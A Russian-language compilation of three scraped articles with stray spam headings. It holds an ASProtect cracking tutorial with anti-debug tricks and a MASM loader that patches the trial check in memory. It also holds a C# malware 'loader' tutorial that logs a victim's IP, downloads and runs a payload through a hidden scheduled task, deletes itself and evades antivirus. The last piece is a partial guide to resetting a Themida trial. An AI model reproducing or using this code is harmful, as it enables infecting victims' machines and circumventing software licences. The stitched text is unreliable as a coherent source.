Создание лоадера для программы, защищённой ASProtect’ом
Создание лоадера для программы, защищённой ASProtect’ом
Струмент:
PEiD и Protection ID (оба необязательны)
OllyDbg
Плагин IsDebugPresent (необязательно)
MASM32 (ml.exe + link.exe)
Нашей жертвой будет программа Abexo Registry Cleaner, неплохой чистильщик реестра. Работает она… 5 дней, после чего начинает трубить о покупке полной версии. Защита –ASProtect весьма солидной версии – 2.0 (такие показания дали PEiD и Protection ID, первый даже выдал 2.0x Registered). Если поначалу я ещё надеялся снять защиту, то в конце концов понял – этот путь для меня закрыт, кишка тонка.
Вообще с аспром я не в ладах, хотя и читал некоторые статьи. Представьте мою радость, когда я увидел программу ASProtect stripper, способную убрать аспр первых версий.
Хотя все, даже самые свежие, версии его давно уже распакованы, что побуждает Солодовникова (автора) создавать новые, которые со временем, естественно, тоже ломают, в итоге автор опять начинает стараться… Я это называю «естественной эволюцией протектората». Закон философии гласит: « Нет такой защиты, которую нельзя было бы сломать ». Защиту я, однако, так и не сломал.
АНТИВИРУСЫ НЕ МОГУТ ОБНАРУЖИТЬ ЛОАДЕР — Как Сделать FUD Loader на C# за Пару Минут
Однако в процессе неудачной распаковки я неожиданно нашёл другой путь к взлому – пропатчить пару байт в области памяти, выделенной VirtualAlloc (я уж думаю, аспр использует её, какую же ещё?). Такой патч заставит программу грузиться дальше, а не вылетать в ExitProcess. Почему этот код находится в выделенном регионе, а не в секции кода?
Это задумка Солодовникова, призванная затруднить распаковку. Даже OEP, судя по всему, находится не в секции кода, а в таком вот регионе. Хотя полноценным OEP’ом это не назовёшь, так как аспр подмешивает к оригинальным инструкциям массу своего путаного кода, изменяя их до неузнаваемости. Противные jmp и xor мешают их трассировать.
Вот иногда и называют точку входа не OEP, а VOEP – виртуальная OEP. Итак, стартуем.
В OllyDbg откроем arc.exe и увидем такую картину:
>00401000 68 01B05A00 PUSH 005AB001
00401005 E8 01000000 CALL 0040100B
0040100A C3 RET
0040100B C3 RET
В задачи этой статьи не входит поиск OEP, поэтому все исключения можно сразу передать аспру: на вкладке Exceptions окна Options следует поставить флажки INT3 breaks и memory access violation. Тыркните F9, и тогда выползет MessageBox c сообщением: “Thank you for trying an Abexo product”. (Здесь и далее я предполагаю, что испытательный срок 5 дней уже вышел, а то иначе вместо MessageBox вы бы увидели нормальное рабочее окно программы.) Нажмите OK, и программа, к сожалению закроется.
НО: если вы увидите собщение “Debugger detected – please close it down and restart!”, значит сработал антиотладочный приём Солодовникова. Проще всего выйти из положения – установить плагин IsDebugPresent, и с его помощью скрыть отладчик от обнаружения. Но если плагина нет – можно всё сделать и своими, не такими уж слабыми руками.
С++ / C# — Как сделать Систему Авторизаций по Ключам
Попытки патчить (т.е. вносить изменения) функцию IsDebuggerPresent в kernel32.dll заранее обречены на провал, т.к. Солодовников сам умеет замечать присутствие отладчика, вызывая эту функцию лишь для маскировки. Сделать можно так: будучи в окне дампа, нажмите Ctrl-G и введите fs:[30] (и нажмите Enter). Теперь присмотритесь к окну дампа. Видите третий по счёту байт?
Он должен равняться 01, никак не иначе. (Если он равен 00, значит, плагин у вас всё-таки стоит.) Именно этот байт определяет присутствие отладчика. Измените байт на 00. Всё – отладчик теперь у нас, подобно самолёту Стелс, невидим. (Правда, процедуру придётся проделывать после каждого перезапуска программы – скажите за это спасибо компании Microsoft).
Итак, что же делать со всем этим? Первым делом надо узнать, куда MessageBox («Thank you for trying an Abexo product») возвращает управление. Пришёл в голову аппаратный бряк? Не выйдет, к сожалению. Солодовников нашёл способ обходить такие бряки. Насколько знаю, они ставятся через отладочные регистры DR0-DR7, как он их обходит – беспонятие.
Это, однако, не снимает вопроса – как нам перехватить MessageBox? Предлагаю следующий способ – во время работы этой функции нажать кнопку паузы, и «вытрассироваться» из функции. В итоге мы окажемся на адресе возврата. Нажатие паузы приведёт к остановке в местечке где-то глубоко в NTDLL, в той области кода, которая используется для вызова Native API. (В Win9x вы остановитесь в kernel32.dll вместо ntdll.dll и совсем в другой области, но это не суть.) Вот это место (для Windows XP):
>7C90EB8B 8BD4 MOV EDX, ESP
7C90EB8D 0F34 SYSENTER
7C90EB8F 90 NOP
7C90EB90 90 NOP
7C90EB91 90 NOP
7C90EB92 90 NOP
7C90EB93 90 NOP
7C90EB94 C3 RET
Окно MessageBox станет невозможно активизировать, т.к. программа стоит на паузе. Нажмите пару-тройку раз Ctrl-F9 (это трассировка до команды RET). Функция продолжит работу и только теперь вы сможете нажать кнопку OK. Нажмите её. Далее: надо вернуться в OllyDbg и нажимать Ctrl-F9 до тех пор, пока вы не покинете функцию MessageBox. В заголовке окна отладчика можно видеть “CPU – main thread, module user32”.
Вот пока надпись module user32 не исчезнет, надо нажимать Ctrl-F9. (Объяснять, почему module user32, думаю, вам не надо. А вот потом эта надпись исчезнет совсем. Это потому, что код находится в выделенном регионе памяти, а не в секции кода. Если бы он был в секции кода, в заголовке появилось бы “module arc”.) Итак, мы вышли из функции и стоим на адресе возврата. Это ключевое для нас место, присмотритесь к нему:
>00B253DB A1 0488B300 MOV EAX, [B38804] 00B253E0 8B00 MOV EAX, [EAX]
00B253E2 8B00 MOV EAX, [EAX]
00B253E4 8BD0 MOV EDX, EAX
00B253E6 0350 3C ADD EDX, [EAX+3C]
00B253E9 8BC2 MOV EAX, EDX
00B253EB F640 17 20 TEST BYTE PTR [EAX+17], 20
00B253EF 74 21 JE SHORT 00B25412 ;здесь будем патчить.
00B253F1 A1 0488B300 MOV EAX, [B38804]
00B253F6 8B00 MOV EAX, [EAX]
00B253F8 8B40 1C MOV EAX, [EAX+1C]
00B253FB 8945 FC MOV [EBP-4], EAX
00B253FE 837D FC 00 CMP DWORD PTR [EBP-4], 0
00B25402 75 07 JNZ SHORT 00B2540B
00B25404 6A 00 PUSH 0
00B25406 E8 2103FFFF CALL 00B1572C ; JMP to kernel32.ExitProcess
00B2540B 8B65 FC MOV ESP, [EBP-4]
00B2540E 61 POPAD
00B2540F 31C0 XOR EAX, EAX
00B25411 C3 RET ; равносильно выходу из программы
00B25412 6A 01 PUSH 1
00B25414 E8 1303FFFF CALL 00B1572C ; JMP to kernel32.ExitProcess
00B25419 59 POP ECX ;а вот это – выход из функции, нам
00B2541A 5D POP EBP ;как раз сюда
00B2541B C3 RET
Место чрезвычайно интересное. Если сейчас просто его трассировать, то мы вылетим в ExitProcess c адреса B25414. Эта RET между двумя вызовами ExitProcess – тоже ловушка, если выйти на неё, мы тоже вылетим из программы.
(Правда, на сей раз в kernel32.dll, откуда лихо вызывается ExitThread, что тоже равносильно выходу из программы; под Windows 95/98 там не вызывается ExitThread, а идёт прямой вызов ядра системы.) Поэтому придётся искусственно «не дать программе засохнуть» — поставить указатель eip в самый конец этого места, на команду POP ECX. Так можно обойти вызовы ExitProcess и «губительную» команду RET.
Проделайте это (щёлкните правой кнопкой по инструкции pop ecx и нажмите New origin here и OK) и отпустите программу нажатием F9. Она заработает! Другой способ – заменить инструкцию je short b25412 на jmp short b25419, что заставит программу всегда прыгать на pop ecx, pop ebx и далее ret. Вот так мы и будем делать в нашем крэке.
Заменять инструкцию мы будем лоадером. (Это проще, чем менять значение EIP, нам ведь надо сделать работающий крэк.) После выполнения последней RET программа заработает дальше. Что интересно – дак это то, что ASProtect позже опять возмёт управление. Получается, что не закончив работу, он как бы даёт программе немного поработать, а потом снова берётся за дело? Ведь этот MessageBox – плод явно самой программы, а не протектора. Может, профессиональны что-нибудь знают на этот счёт?
Прекрасно, дыра в защите найдена. Теперь надо делать лоадер. Как сделать лоадер? Ну, загрузить программу легко можно функцией CreateProcess, вносить изменения в код – WriteProcessMemory… Однако встаёт вопрос: как поймать нужный момент для внесения патча? Ведь наш код не сразу появляется в памяти, а только после сложного процесса распаковки, которым руководит ASProtect во главе с Солодовниковым.
Ответ: патчить удобно, когда на экране находится окно сообщения MessageBox. А уже когда патч будет внесён, окно сообщения можно насильно закрыть и пропатчённый код тут же выполнится, так, как нам нужно. Правда, этот участок кода изначально не был рассчитан на запись (т.е. на внесение нашего патча).
Поэтому придётся вызвать «сложнейшую» функцию VirtualProtectEx, с помощью которой мы дадим региону памяти доступ PAGE_EXECUTE_READWRITE, вместо былого PAGE_EXECUTE_READ. После этого мы спокойно вызовем WriteProcessMemory. Ну а насильно закрыть окно сообщения – дело грубой техники. SendMessage(hWnd,WM_CLOSE,0,0) с этим прекрасно справится.
Мы запатчим всего 2 байта, нужные значения можно подсмотреть в отладчике, если заменить je short b25412 на jmp short b25419. Лоадер я решил написать на ассемблере. Вот его код:
>REGION_BASE equ 00B10000h
PATCH_ADDRESS equ 00B253EFh
CMDLINE textequ
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
SZPtr macro txt
local s
.const
s db txt,0
.code
exitm
endm
oldProtect dd ?
newBytes db 0EBh,28h
start:
invoke CreateProcess,0,SZPtr(CMDLINE),0,0,0,0,0,0,addr stinf,addr pi
.repeat
invoke FindWindow,SZPtr(‘#32770’),SZPtr(‘Evaluation Version’)
mov edi,eax
invoke Sleep,100
.until edi
invoke VirtualProtectEx,pi.hProcess,REGION_BASE,32000h,PA GE_EXECUTE_READWRITE,addr oldProtect
invoke WriteProcessMemory,pi.hProcess,PATCH_ADDRESS,addr newBytes,sizeof newBytes,0
invoke SendMessage,edi,WM_CLOSE,0,0
invoke CloseHandle,pi.hProcess
ret
end start
Этот код следует компилировать так:
ml /c /coff loader.asm
link /subsystem:windows /libpath: /section:.text,rwe
Вся соль — в /section:.text,rwe он даёт секции кода доступ на запись, т.к. данные у меня именно в этой секции. CreateProcess записывает значения в структуры. Если ключа не указать, то программа рухнет уже на первом вызове функции.
На моём компе это работает, уверяю вас. Если вы хотите, чтобы заработало и на вашем, скорее всего придётся изменить константы в начале программы.
Дело в том, что базовый адрес региона может меняться, а вместе с ним и адрес вносимого патча. (Я правда не знаю, указывает ли ASProtect какой-нибудь конкретный адрес при вызове VirtualAlloc или нет.) Чтобы получить базовый адрес региона памяти, можно нажать клавишу Home, находясь в этом регионе, и тогда OllyDbg выскочит на начало региона. PATCH_ADDRESS – это адрес инструкции je short 00B25412, помните её? (Можете вернуться в середину статьи и посмотреть на то «интересное место» кода.) Этот адрес тоже меняется в зависимости от базового адреса региона (REGION_BASE). Как его найти – я только что показал – клавиша Home. Ну а как в деталях работает программа, вы сможете понять сами. Для этого надо знать MASM32. (А также фундаментальные принципы работы Windows…)
Ну вот, вроде как бы и всё… Видите, даже не пришлось особо вникать в логику ASProtect’a (в этом вся прелесть лоадеров). Вообще ASProtect представляет собой какой-то сплошной алогизм, к которому неприменим здравый смысл. Ну да ладно, остаётся только поблагодарить авторов за Abexo Registry Cleaner (очень прилично чистит), Алексея Солодовникова за его АСПротекты, а Oleh’а Yuschuk’а за OllyDbg.
Комментарии к статье: Создание лоадера для программы, защищённой ASProtect’ом
PE_Kill 20.10.2006 07:54:27
Чтобы работало на всех машинах надо искать место патча по сигнатуре.
—
coderess 31.01.2009 22:15:02
PE_Kil абсолютно согласен с тобой
—
Источник: exelab.one
Свой лоадер на C#
DEEPSIDE
Привет, сегодня мы напишем простой лоадер (загрузчик) для наших вирусов на C#. Loader (лоадер) в базовом понятии под словом «лоадер» понимается некое программное обеспечение выполняющее функции доставки ваших файлов на компьютер жертвы. Со связки, другого лоадера или по средствам прямых загрузок пользователю на компьютер доставляется и запускается лоадер. Зачастую это небольшого размера исполняемый файл, который при запуске скачивает из интернета один или несколько ваших файлов на компьютер жертвы и запускает их. Логгер — сайт отслеживающий IP адрес человека.
Как будет работать наш лоадер?
- Сначала, после запуска, он отправить запрос на логгер, где сохранится IP жертвы
- Далее он загрузит файл с сервера
- Потом поместит файл во временную папку (Temp) и запустится
- После чего самоудалится
Приступим.
Для начала создаём консольный проект, версия фреймворка 4.5
Сразу удаляем все юзинги, и добавляем нужные:
using System; using System.Diagnostics; using System.IO; using System.Net; using System.Reflection; using System.Threading;
Логгирование.
Первым делом мы напишем функцию логгирования (отслеживания запуска файла по IP).
Создаём новый void с именем logger и переменной url:
public static void logger(string url)
Теперь в эту функцию (logger) добавляем переменную request, которая отвечает за web запрос:
WebRequest request = WebRequest.Create(url);
Назначим полномочия пользователя:
request.Credentials = CredentialCache.DefaultCredentials;
Сейчас добавляем юзерагент, в данном случае это будет юзер агент браузера Firefox:
((HttpWebRequest)request).UserAgent = «Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0»; // Можно изменить на хромиум
Ну и напоследок добавляем ответ от сервера:
request.GetResponse();
Вот так должен выглядеть void logger:
- Загрузка, запуск, самоудаление файла.
Теперь добавим самую важную функцию лоадера — загрузка файла.
Создаём новый void с именем load, и переменными link и filename
public static void load(string link, string filename)
Добавляем путь до нашего файла, у нас он будет хранится во временной папке Temp:
filename = Environment.GetEnvironmentVariable(«Temp») + «\» + filename; // Можно заменить на appdata или localappdata
Добавляем переменную user, которая содержит новый WebClient:
using (var user = new WebClient())
Теперь скачиваем файл:
Метод загрузки выглядит так:
Перед тем, как напишем функцию запуска файла, нам нужно добавить функцию самоудаления. Создаём новый void с именем DeleteMe и переменной delay:
public static void DeleteMe(string delay)
Создаём новый процесс, всё объяснение в коментариях:
Process.Start(new ProcessStartInfo // Создаём новый процесс < Arguments = «/C choice /C Y /N /D Y /T » + delay + » » + new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name + «»», // Добавляем аргуемнты для запуска WindowStyle = ProcessWindowStyle.Hidden, // Скрываем окно консоли CreateNoWindow = true, // Создаём бещ окна FileName = «cmd.exe» >);
Метод DeleteMe выглядит так:
Теперь сделаем метод запуска файла, работать будет через планировщик задач.
Создаём void running, с переменной pth:
public static void running(string pth)
Создаём переменную с новым процессом:
var process = new Process();
Добавляем аргументы для запуска:
process.StartInfo = new ProcessStartInfo(«cmd», «/C » + «schtasks /create /tn \» + generateString() + «\» + generateString() + » /tr » + pth + » /st 00:00 /du 9999:59 /sc once /ri 1 /f»);
Тут появиться ошибки, дальше мы их исправим.
Перенаправляем стандартный вывод:
process.StartInfo.RedirectStandardOutput = true;
Отключаем выполнение оболочки
process.StartInfo.UseShellExecute = false;
Запускаем процесс без окна
process.StartInfo.CreateNoWindow = true;
И запускаем процесс
process.Start();
Весь метод running выглядит так:
Теперь добавим рандомную генерацию строк для void’a running.
Создаём новый void generateString:
public static String generateString()
Добавим переменную symbols, в которой содержатся символы для рандомной генерации и переменную result, в которой будет содержатся результат генерации:
string symbols = «QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm»; string result = «»;
Теперь сама функция генерации:
Random rnd = new Random(); int iter = rnd.Next(0, symbols.Length); for (int i = 0; i < iter; i++) result += symbols[rnd.Next(0, symbols.Length)]; return result;
Воид generateString() выглядит так:
На этом все функции закончены, осталось добавить их в главный void (Main)
Но перед этим, нам нужна ссылка-логгер
Для этого переходим на сайт далее выбираем «Невидимый логгер»
Видим следующую страницу:
Здесь нам нужна ссылка для сбора IP адресов. Копируем её.
Возвращаемся к коду, в main пишем:
В итоге, метод Main выглядит примерно так:
Теперь, нам нужно скрыть консоль при запуске лоадера.
Заходим в свойства проекта, далее делаем как на скрине:
Выбираем «Приложение Windows». Теперь консоль не открывается и лоадер запускается скрытно.
Для чего используются лоадеры?
- Маленький размер. То есть, если ваш вирус имеет огромный вес, просто воспользуйтесь лоадером, который весит ~ 10kb
- Лоадер имеет низкие детекты. При сканировании вируса антивирусом, он не будет его распознавать.
- Защищает от слива на VT. Хотя от большинства АВ это не спасёт.
Итог. Что мы имеем?
- Вес файла ~ 7kb.
- Детекты:
Лайфхак от DEEPSIDE, если ваш вирус написанный на C# имеет 2-3 детекта, просто обфусцируй код, подробней можно почитать в этой статье.
Обфусцировав код получаем такие детекты:
Заключение.
Сегодня мы написали загрузчик вирусов на C#, рассмотрели его возможное внутреннее устройство и преследуемые цели. Думаю каждый начинающий кодер открыл для себя что то новое, удачи.
Еще больше интересных статей на канале DEEPSIDE
Источник: telegra.ph
Причуды «Фемиды». Пишем лоадер для программ, защищенных Themida
Themida — очень мощный протектор исполняемых файлов, позволяющий защитить их от нелицензионного копирования и поползновений хакеров. Сегодня мы продолжим разговор об этом протекторе, снова обсудим способы сброса триала, а также напишем лоадер для обхода защиты.
warning
Статья написана в исследовательских целях, имеет ознакомительный характер и предназначена для специалистов по безопасности. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Использование или распространение ПО без лицензии производителя может преследоваться по закону.
В прошлый раз мы обсуждали принципы внутренней организации виртуальной машины Themida. А теперь давай закрепим полученные знания на конкретном примере — попробуем отучить просить ключ парочку популярных приложений фирмы ConceptWorld. Эти приложения представляют собой набор мелких дешевых полезняшек для работы с файлами, заметками и буфером обмена.
Лично я не совсем понимаю причину популярности этих утилит, более того, меня бесят их назойливые окошки, болтающиеся на экране и возникающие в самый неподходящий момент. Но самое раздражающее заключается в том, что на столь простые и дешевые приложения навесили столь взрослую защиту, в чем можно убедиться при помощи детектора протекторов DetectItEasy (Die). Этот странный факт мы с тобой сейчас исправим.
Приложения ConceptWorld отлично подойдут для демонстрации слабых мест защиты, которые мы с тобой изучим исключительно в академических и исследовательских целях. На всякий случай еще раз напомню, что актуальная Themida не всегда распознается автоматическим сканированием, для подстраховки необходимо подключать Nauz File Detector (NFD), который практически всегда определяет ее правильно.
Итак, начнем с программы RecentX. Ради экономии места я не буду заниматься рекламой, описывая, для чего она служит и что умеет делать (тем более, сам до конца этого не понимаю). Давай сразу перейду к сути защиты. При запуске приложения (а также после перезапуска системы, поскольку эта утилита нагло прописывается в автозагрузку), в верхней части экрана появляется пять вкладок, которые позволяют выполнять различные действия. Тулза отлично работает 30 дней, по прошествии которых превращается в тыкву: нажатие на любой элемент интерфейса приводит к появлению настырного окошка с требованием зарегистрировать программу.
В этот раз я нарушу собственные же правила и начну с описания принципа сброса триала. Если ты уже читал мои статьи, то знаешь, что для начала нам понадобится программа ProcessMonitor (ProcMon). Запускаем ее, ставим фильтр на имя процесса RecentX. exe и для начала анализируем файловый ввод‑вывод этого процесса при его загрузке.
Это непросто, поскольку по своей специфике программа обращается чуть ли не ко всем файлам на жестком диске. Однако полистав список некоторое время, мы натыкаемся на последовательные обращения к файлам со странными непроизносимыми названиями в каталоге ProgramData .
Попробуем удалить, к примеру, файл C: ProgramData xmvkknpt. yme . Ничего не происходит, но при перезапуске программы он воссоздается на том же самом месте. Судя по всем признакам, это и есть файл триала.
Внимательно проанализировав лог ProcMon, мы обнаруживаем полный набор подобных файлов. Все они находятся в каталоге ProgramData : acqrldoh. otw , bgjxnlpy. hxt , lapoiwsc. hke , uhthdans. svu , vwnpbcnu. gon , xmvkknpt. yme и mntemp . Причем время от времени вместо файлов acqrldoh. otw и vwnpbcnu. gon программа ищет другую пару — wspjaeoc. kjj и tvmnixvk. oib . Однако даже удалив все файлы из каталога ProgramData , удовлетворения мы не получим — программа упорно продолжает просить регистрацию.
По своему предыдущему опыту я помню, что помимо файлов, информация о триале обычно дублируется в реестре, потому начинаем рыть в этом направлении. Включаем в ProcessMonitor режим Show Registry Activity и начинаем тщательно и кропотливо изучать обращения программы к системному реестру.
Похоже, мы в беде: зацепиться не за что: все ключи реестра, к которым идет обращение, на первый взгляд, ни к «Фемиде», ни к триалу никакого отношения не имеют — программа делает что‑то связанное с сертификтами. Чтобы разрулить тупиковую ситуацию, нам явно потребуются дополнительные инструменты.
Попробуем утилиту Registry Trash Keys Finder, которая предназначена для более интеллектуальной чистки реестра. Грубо говоря, при помощи этой программы можно получить примерное представление, какие ключи в реестре не несут полезной нагрузки и каково было их изначальное предназначение. Мы не прогадали: ключ HKCU Software Classes CertificateAuthority. Request CLSID tkgiuafq якобы связанный с сертификатами, оказывается напрямую связан с WinLicense. Причем рядом расположено множество подобных ключей, а мы бы на них никогда и не подумали!
Помимо этого Registry Trash Keys Finder находит в реестре множество скрытых триальных ключей от других протекторов. Внимательно пройдясь по логу обращений к реестру в шаговой доступности от этого места, кроме откровенно фемидовских ключей находим список фиктивных ключей, маркируемых программой как «Неверное имя для CLSID». Что интересно, время их создания соответствует нашему триалу:
Источник: xakep.ru